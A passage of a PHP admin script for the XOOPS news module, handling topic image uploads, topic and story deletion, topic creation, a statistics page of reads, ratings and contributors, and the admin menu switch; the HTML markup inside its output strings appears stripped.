XOOPS_ROOT_PATH . "/modules/" . $xoopsModule->dirname() . '/images/topics'; $destname=$sfiles->createUploadName($dstpath ,$fldname, true); $permittedtypes=array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/x-png', 'image/png'); $uploader = new XoopsMediaUploader($dstpath, $permittedtypes, $xoopsModuleConfig['maxuploadsize']); $uploader->setTargetFileName($destname); if ($uploader->fetchMedia($_POST['xoops_upload_file'][0])) { if ($uploader->upload()) { $xt->setTopicImgurl(basename($destname)); } else { echo _AM_UPLOAD_ERROR . ' ' . $uploader->getErrors(); } } else { echo $uploader->getErrors(); } } } $xt->store(); updateCache(); redirect_header( 'index.php?op=topicsmanager', 1, _AM_DBUPDATED ); exit(); } // Delete a topic and its subtopics and its stories and the related sotries function delTopic() { global $xoopsDB, $xoopsModule; if (!isset($_POST['ok'])) { xoops_cp_header(); echo "

" . _AM_CONFIG . "

"; $xt = new XoopsTopic( $xoopsDB->prefix("topics"), intval($_GET['topic_id'])); xoops_confirm(array( 'op' => 'delTopic', 'topic_id' => intval($_GET['topic_id']), 'ok' => 1), 'index.php', _AM_WAYSYWTDTTAL . '
' . $xt->topic_title('S')); } else { $xt = new XoopsTopic($xoopsDB->prefix("topics"), intval($_POST['topic_id'])); // get all subtopics under the specified topic $topic_arr = $xt->getAllChildTopics(); array_push( $topic_arr, $xt ); foreach( $topic_arr as $eachtopic ) { // get all stories in each topic $story_arr = NewsStory :: getByTopic( $eachtopic -> topic_id() ); foreach( $story_arr as $eachstory ) { if (false != $eachstory->delete()) { xoops_comment_delete( $xoopsModule -> getVar( 'mid' ), $eachstory -> storyid() ); xoops_notification_deletebyitem($xoopsModule->getVar('mid'), 'story', $eachstory->storyid()); } } // all stories for each topic is deleted, now delete the topic data $eachtopic -> delete(); // Delete also the notifications and permissions xoops_notification_deletebyitem( $xoopsModule -> getVar( 'mid' ), 'category', $eachtopic -> topic_id ); xoops_groupperm_deletebymoditem($xoopsModule->getVar('mid'), 'news_approve', $eachtopic -> topic_id); xoops_groupperm_deletebymoditem($xoopsModule->getVar('mid'), 'news_submit', $eachtopic -> topic_id); xoops_groupperm_deletebymoditem($xoopsModule->getVar('mid'), 'news_view', $eachtopic -> topic_id); } updateCache(); redirect_header( 'index.php?op=topicsmanager', 1, _AM_DBUPDATED ); exit(); } } // Add a new topic function addTopic() { global $xoopsDB, $xoopsModule, $xoopsModuleConfig; $topicpid = isset($_POST['topic_pid']) ? intval($_POST['topic_pid']) : 0; $xt = new NewsTopic(); if (!$xt->topicExists($topicpid, $_POST['topic_title'])) { $xt->setTopicPid($topicpid); if (empty($_POST['topic_title']) || xoops_trim($_POST['topic_title'])=='') { redirect_header( "index.php?op=topicsmanager", 2, _AM_ERRORTOPICNAME ); } $xt->setTopicTitle($_POST['topic_title']); //$xt->Settopic_rssurl($_POST['topic_rssfeed']); $xt->setTopic_color($_POST['topic_color']); if (isset($_POST['topic_imgurl'] ) && $_POST['topic_imgurl'] != "") { $xt->setTopicImgurl($_POST['topic_imgurl'] ); } $xt->setMenu(intval($_POST['submenu'])); $xt->setTopicFrontpage(intval($_POST['topic_frontpage'])); if(isset($_POST['xoops_upload_file'])) { $fldname = $_FILES[$_POST['xoops_upload_file'][0]]; $fldname = (get_magic_quotes_gpc()) ? stripslashes($fldname['name']) : $fldname['name']; if(xoops_trim($fldname!='')) { $sfiles = new sFiles(); $dstpath = XOOPS_ROOT_PATH . "/modules/" . $xoopsModule -> dirname() . '/images/topics'; $destname=$sfiles->createUploadName($dstpath ,$fldname, true); $permittedtypes=array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/x-png', 'image/png'); $uploader = new XoopsMediaUploader($dstpath, $permittedtypes, $xoopsModuleConfig['maxuploadsize']); $uploader->setTargetFileName($destname); if ($uploader->fetchMedia($_POST['xoops_upload_file'][0])) { if ($uploader->upload()) { $xt->setTopicImgurl(basename($destname)); } else { echo _AM_UPLOAD_ERROR . ' ' . $uploader->getErrors(); } } else { echo $uploader->getErrors(); } } } $xt->setTopicDescription($_POST['topic_description']); $xt->store(); updateCache(); $notification_handler = & xoops_gethandler('notification'); $tags = array(); $tags['TOPIC_NAME'] = $_POST['topic_title']; $notification_handler->triggerEvent( 'global', 0, 'new_category', $tags); redirect_header('index.php?op=topicsmanager', 1, _AM_DBUPDATED); } else { redirect_header('index.php?op=topicsmanager', 2, _AM_ADD_TOPIC_ERROR); } exit(); } /** * Statistics about stories, topics and authors * * You can reach the statistics from the admin part of the news module by clicking on the "Statistics" tabs * The number of visible elements in each table is equal to the module's option called "storycountadmin" * There are 3 kind of different statistics : * - Topics statistics * For each topic you can see its number of articles, the number of time each topics was viewed, the number * of attached files, the number of expired articles and the number of unique authors. * - Articles statistics * This part is decomposed in 3 tables : * a) Most readed articles * This table resumes, for all the news in your database, the most readed articles. * The table contains, for each news, its topic, its title, the author and the number of views. * b) Less readed articles * That's the opposite action of the previous table and its content is the same * c) Best rated articles * You will find here the best rated articles, the content is the same that the previous tables, the last column is just changing and contains the article's rating * - Authors statistics * This part is also decomposed in 3 tables * a) Most readed authors * To create this table, the program compute the total number of reads per author and displays the most readed author and the number of views * b) Best rated authors * To created this table's content, the program compute the rating's average of each author and create a table * c) Biggest contributors * The goal of this table is to know who is creating the biggest number of articles. */ function Stats() { global $xoopsModule, $xoopsConfig; xoops_cp_header(); $myts =& MyTextSanitizer::getInstance(); if (file_exists(XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php')) { include_once XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php'; } else { include_once XOOPS_ROOT_PATH.'/modules/news/language/english/main.php'; } adminmenu(6); $news = new NewsStory(); $stats = array(); $stats=$news->GetStats(getmoduleoption('storycountadmin')); $totals=array(0,0,0,0,0); printf("

%s

\n",_AM_NEWS_STATS); // First part of the stats, everything about topics $storiespertopic=$stats['storiespertopic']; $readspertopic=$stats['readspertopic']; $filespertopic=$stats['filespertopic']; $expiredpertopic=$stats['expiredpertopic']; $authorspertopic=$stats['authorspertopic']; $class=''; echo "
" . _AM_NEWS_STATS0 . "
\n"; echo ""; foreach ( $storiespertopic as $topicid => $data ) { $url=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/index.php?storytopic=" . $topicid; $views=0; if(array_key_exists($topicid,$readspertopic)) { $views=$readspertopic[$topicid]; } $attachedfiles=0; if(array_key_exists($topicid,$filespertopic)) { $attachedfiles=$filespertopic[$topicid]; } $expired=0; if(array_key_exists($topicid,$expiredpertopic)) { $expired=$expiredpertopic[$topicid]; } $authors=0; if(array_key_exists($topicid,$authorspertopic)) { $authors=$authorspertopic[$topicid]; } $articles=$data['cpt']; $totals[0]+=$articles; $totals[1]+=$views; $totals[2]+=$attachedfiles; $totals[3]+=$expired; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url,$myts->displayTarea($data['topic_title']),$articles,$views,$attachedfiles,$expired,$authors); } $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",_AM_NEWS_STATS2,$totals[0],$totals[1],$totals[2],$totals[3]); echo "
"._AM_TOPIC."" . _NW_ARTICLES . "" . _NW_VIEWS . "" . _AM_UPLOAD_ATTACHFILE . "" . _AM_EXPARTS ."" ._AM_NEWS_STATS1 ."
%s%u%u%u%u%u
%s%u%u%u%u 



"; // Second part of the stats, everything about stories // a) Most readed articles $mostreadednews=$stats['mostreadednews']; echo "
" . _AM_NEWS_STATS3 . "

" . _AM_NEWS_STATS4 . "
\n"; echo "\n"; foreach ( $mostreadednews as $storyid => $data ) { $url1=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/index.php?storytopic=" . $data['topicid']; $url2=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/article.php?storyid=" . $storyid; $url3=XOOPS_URL . '/userinfo.php?uid=' . $data['uid']; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url1,$myts->displayTarea($data['topic_title']),$url2,$myts->displayTarea($data['title']),$url3,$myts->htmlSpecialChars($news->uname($data['uid'])),$data['counter']); } echo "
"._AM_TOPIC."" . _AM_TITLE . "" . _AM_POSTER . "" . _NW_VIEWS . "
%s%s%s%u
"; // b) Less readed articles $lessreadednews=$stats['lessreadednews']; echo '

'._AM_NEWS_STATS5; echo "\n"; foreach ( $lessreadednews as $storyid => $data ) { $url1=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/index.php?storytopic=" . $data['topicid']; $url2=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/article.php?storyid=" . $storyid; $url3=XOOPS_URL . '/userinfo.php?uid=' . $data['uid']; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url1,$myts->displayTarea($data['topic_title']),$url2,$myts->displayTarea($data['title']),$url3,$myts->htmlSpecialChars($news->uname($data['uid'])),$data['counter']); } echo "
"._AM_TOPIC."" . _AM_TITLE . "" . _AM_POSTER . "" . _NW_VIEWS . "
%s%s%s%u
"; // c) Best rated articles (this is an average) $besratednews=$stats['besratednews']; echo '

'._AM_NEWS_STATS6; echo "\n"; foreach ( $besratednews as $storyid => $data ) { $url1=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/index.php?storytopic=" . $data['topicid']; $url2=XOOPS_URL . "/modules/" . $xoopsModule -> dirname() . "/article.php?storyid=" . $storyid; $url3=XOOPS_URL . '/userinfo.php?uid=' . $data['uid']; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url1,$myts->displayTarea($data['topic_title']),$url2,$myts->displayTarea($data['title']),$url3,$myts->htmlSpecialChars($news->uname($data['uid'])),number_format($data['rating'], 2)); } echo "
"._AM_TOPIC."" . _AM_TITLE . "" . _AM_POSTER . "" . _NW_RATING . "
%s%s%s%s



"; // Last part of the stats, everything about authors // a) Most readed authors $mostreadedauthors=$stats['mostreadedauthors']; echo "
" . _AM_NEWS_STATS10 . "

" . _AM_NEWS_STATS7 . "
\n"; echo "\n"; foreach ( $mostreadedauthors as $uid => $reads) { $url=XOOPS_URL . '/userinfo.php?uid=' . $uid; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url,$myts->htmlSpecialChars($news->uname($uid)),$reads); } echo "
"._AM_POSTER."" . _NW_VIEWS . "
%s%u
"; // b) Best rated authors $bestratedauthors=$stats['bestratedauthors']; echo '

'._AM_NEWS_STATS8; echo "\n"; foreach ( $bestratedauthors as $uid => $rating) { $url=XOOPS_URL . '/userinfo.php?uid=' . $uid; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url,$myts->htmlSpecialChars($news->uname($uid)),$rating); } echo "
"._AM_POSTER."" . _NW_RATING . "
%s%u
"; // c) Biggest contributors $biggestcontributors=$stats['biggestcontributors']; echo '

'._AM_NEWS_STATS9; echo "\n"; foreach ( $biggestcontributors as $uid => $count) { $url=XOOPS_URL . '/userinfo.php?uid=' . $uid; $class = ($class == 'even') ? 'odd' : 'even'; printf("\n",$url,$myts->htmlSpecialChars($news->uname($uid)),$count); } echo "
"._AM_POSTER."" . _AM_NEWS_STATS11 . "
%s%u

"; } // ********************************************************************************************************************************************** // **** Main // ********************************************************************************************************************************************** $op = 'default'; if(isset($_POST['op'])) { $op=$_POST['op']; } else { if(isset($_GET['op'])) { $op=$_GET['op']; } } switch ($op) { case "deletefile": xoops_cp_header(); if($_GET['type']=='newsletter') { $newsfile=XOOPS_ROOT_PATH.'/uploads/newsletter.txt'; if(unlink($newsfile)) { redirect_header('index.php', 2, _AM_NEWS_DELETED_OK); } else { redirect_header('index.php', 2, _AM_NEWS_DELETED_PB); } } else { if($_GET['type']=='xml') { $xmlfile=XOOPS_ROOT_PATH.'/uploads/stories.xml'; if(unlink($xmlfile)) { redirect_header( 'index.php', 2, _AM_NEWS_DELETED_OK ); } else { redirect_header( 'index.php', 2, _AM_NEWS_DELETED_PB ); } } } break; case "newarticle": xoops_cp_header(); adminmenu(1); echo "

" . _AM_CONFIG . "

"; include_once XOOPS_ROOT_PATH . "/class/module.textsanitizer.php"; newSubmissions(); autoStories(); lastStories(); expStories(); echo "
"; echo "

" . _AM_POSTNEWARTICLE . "

"; $type = "admin"; $title = ""; $topicdisplay = 0; $topicalign = 'R'; $ihome = 0; $hometext = ''; $bodytext = ''; $notifypub = 1; $nohtml = 0; $approve = 0; $nosmiley = 0; $autodate = ''; $expired = ''; $topicid = 0; $returnside=1; $published = 0; $description=''; $keywords=''; if (file_exists(XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php')) { include_once XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php'; } else { include_once XOOPS_ROOT_PATH.'/modules/news/language/english/main.php'; } if($xoopsModuleConfig['autoapprove'] == 1) { $approve=1; } $approveprivilege = 1; include_once XOOPS_ROOT_PATH.'/modules/news/include/storyform.inc.php'; break; case "delete": $storyid=0; if(isset($_GET['storyid'])) { $storyid=intval($_GET['storyid']); } else { if(isset($_POST['storyid'])) { $storyid=intval($_POST['storyid']); } } if (!empty($_POST['ok'])) { if (empty($storyid)) { redirect_header( 'index.php?op=newarticle', 2, _AM_EMPTYNODELETE ); exit(); } $story = new NewsStory($storyid); $story->delete(); $sfiles = new sFiles(); $filesarr=Array(); $filesarr=$sfiles->getAllbyStory($storyid); if(count($filesarr)>0) { foreach ($filesarr as $onefile) { $onefile->delete(); } } xoops_comment_delete($xoopsModule->getVar('mid'),$storyid); xoops_notification_deletebyitem($xoopsModule->getVar('mid'), 'story', $storyid); updateCache(); redirect_header( 'index.php?op=newarticle', 1, _AM_DBUPDATED ); exit(); } else { $story = new NewsStory($storyid); xoops_cp_header(); echo "

" . _AM_CONFIG . "

"; xoops_confirm(array('op' => 'delete', 'storyid' => $storyid, 'ok' => 1), 'index.php', _AM_RUSUREDEL .'
' . $story->title()); } break; case "topicsmanager": topicsmanager(); break; case "addTopic": addTopic(); break; case "delTopic": delTopic(); break; case "modTopicS": modTopicS(); break; case "edit": if (file_exists(XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php')) { include_once XOOPS_ROOT_PATH.'/modules/news/language/'.$xoopsConfig['language'].'/main.php'; } else { include_once XOOPS_ROOT_PATH.'/modules/news/language/english/main.php'; } include_once XOOPS_ROOT_PATH.'/modules/news/submit.php'; break; case "prune": PruneManager(); break; case "confirmbeforetoprune": ConfirmBeforeToPrune(); break; case "prunenews"; PruneNews(); break; case "export": NewsExport(); break; case "launchexport": LaunchExport(); break; case "configurenewsletter": Newsletter(); break; case "launchnewsletter": LaunchNewsletter(); break; case "stats": Stats(); break; case "default": default: xoops_cp_header(); adminmenu(-1); if(!TableExists($xoopsDB->prefix('stories_votedata')) || !TableExists($xoopsDB->prefix('stories_files')) ) { echo "
"._AM_NEWS_PLEASE_UPGRADE."


"; } echo "

" . _AM_CONFIG . "

"; echo"
"; echo " - " . _AM_TOPICSMNGR . ""; echo "

\n"; echo " - " . _AM_PEARTICLES . "\n"; echo "

\n"; echo " - " . _AM_GROUPPERM . "\n"; echo "

\n"; echo " - getVar( 'mid' ) . "'>" . _AM_GENERALCONF . ""; echo "

\n"; echo " - " . _AM_NEWS_PRUNENEWS . "\n"; echo "

\n"; echo " - " . _AM_NEWS_EXPORT_NEWS . "\n"; echo "

\n"; echo " - " . _AM_NEWS_NEWSLETTER . "\n"; echo "

\n"; echo " - " . _AM_NEWS_STATS . "\n"; echo"
"; break; } xoops_cp_footer(); ?>